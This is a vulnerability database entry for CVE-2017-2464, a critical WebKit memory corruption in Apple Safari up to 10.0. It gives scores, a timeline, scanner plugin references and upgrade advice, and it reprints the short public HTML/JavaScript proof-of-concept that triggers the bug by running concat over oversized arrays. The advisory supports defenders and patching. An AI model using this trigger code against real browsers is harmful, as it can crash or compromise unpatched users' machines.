Apple Safari up to 10.0 WebKit memory corruption

CVSS Meta Temp Score
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CTI Interest Score
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7.2$0-$5k0.00

Summaryinfo

A vulnerability was found in Apple Safari up to 10.0 and classified as critical. The impacted element is an unknown function of the component WebKit. Executing a manipulation can lead to memory corruption. This vulnerability appears as CVE-2017-2464. The attack may be performed from remote. In addition, an exploit is available. It is suggested to upgrade the affected component.

Detailsinfo

A vulnerability classified as critical was found in Apple Safari up to 10.0 (Web Browser). This vulnerability affects an unknown code of the component WebKit. The manipulation with an unknown input leads to a memory corruption vulnerability. The CWE definition for the vulnerability is CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. As an impact it is known to affect confidentiality, integrity, and availability.

The bug was discovered 03/28/2017. The weakness was presented 03/27/2017 by Jeonghoon Shin and Natalie Silvanovich (lokihardt) with Google Project Zero as HT207600 as confirmed advisory (Website). The advisory is available at support.apple.com. This vulnerability was named CVE-2017-2464 since 12/01/2016. The attack can be initiated remotely. No form of authentication is required for a successful exploitation. Successful exploitation requires user interaction by the victim. Technical details are unknown but a public exploit is available. The advisory points out:

Multiple memory corruption issues were addressed through improved memory handling.

A public exploit has been developed in HTML/Javascript and been published 2 months after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as proof-of-concept. As 0-day the estimated underground price was around $25k-$100k. The vulnerability scanner Nessus provides a plugin with the ID 99167 (macOS : Apple Safari < 10.1 Multiple Vulnerabilities), which helps to determine the existence of the flaw in a target environment. It is assigned to the family MacOS X Local Security Checks and running in the context l. The commercial vulnerability scanner Qualys is able to test this issue with plugin 370349 (Apple Safari 10.1 Not Installed (APPLE-SA-2017-03-27-2)). The code used by the exploit is:

<html>
<body>
<script>
 
var a = [];
a.length = 0xffffff00;
 
var b = a.splice(0, 0x100000); // Undecided array
 
var args = [];
args.length = 4094;
args.fill(b);
 
var q = [];
q.length = 0x1000;
q.fill(7);
 
var c = a.splice(0, 0xfffef); //Shorter undecided array
 
args[4094] = c;
args[4095] = q;
 
 
b.concat.apply(b, args);
 
</script>
</body>
</html>

Upgrading to version 10.1 eliminates this vulnerability. A possible mitigation has been published immediately after the disclosure of the vulnerability.

The vulnerability is also documented in the databases at Exploit-DB (41931), Tenable (99167) and SecurityFocus (BID 97130†). See VDB-95939, VDB-96539, VDB-97603 and VDB-98600 for similar entries. If you want to get best quality of vulnerability data, you may have to visit VulDB.

Productinfo

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CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 7.6
VulDB Meta Temp Score: 7.2

VulDB Base Score: 6.3
VulDB Temp Score: 5.7
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 8.8
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
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VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Memory corruption
CWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Nessus ID: 99167
Nessus Name: macOS : Apple Safari < 10.1 Multiple Vulnerabilities
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

OpenVAS ID: 802925
OpenVAS Name: Apple Safari Multiple Vulnerabilities-HT207600
OpenVAS File: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

Reaction Time: 🔍
0-Day Time: 🔍
Exposure Time: 🔍
Exploit Delay Time: 🔍

Upgrade: Safari 10.1

Timelineinfo

12/01/2016 🔍
03/27/2017 +116 days 🔍
03/27/2017 +0 days 🔍
03/27/2017 +0 days 🔍
03/28/2017 +1 days 🔍
03/28/2017 +0 days 🔍
04/01/2017 +4 days 🔍
04/03/2017 +2 days 🔍
04/25/2017 +22 days 🔍
04/25/2017 +0 days 🔍
02/15/2025 +2853 days 🔍

Sourcesinfo

Vendor: apple.com

Advisory: HT207600
Researcher: Jeonghoon Shin, Natalie Silvanovich (lokihardt)
Organization: Google Project Zero
Status: Confirmed
Confirmation: 🔍

CVE: CVE-2017-2464 (🔍)
GCVE (CVE): GCVE-0-2017-2464
GCVE (VulDB): GCVE-100-98578
SecurityFocus: 97130 - WebKit Multiple Security Vulnerabilities
OSVDB: - CVE-2017-2464 - Apple - Multiple Products - Memory Corruption Issue
SecurityTracker: 1038137

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 03/28/2017 10:40
Updated: 02/15/2025 14:00
Changes: 03/28/2017 10:40 (79), 09/22/2020 17:16 (16), 11/15/2022 14:09 (4), 02/15/2025 14:00 (14)
Complete: 🔍
Cache ID: 216::103

If you want to get best quality of vulnerability data, you may have to visit VulDB.

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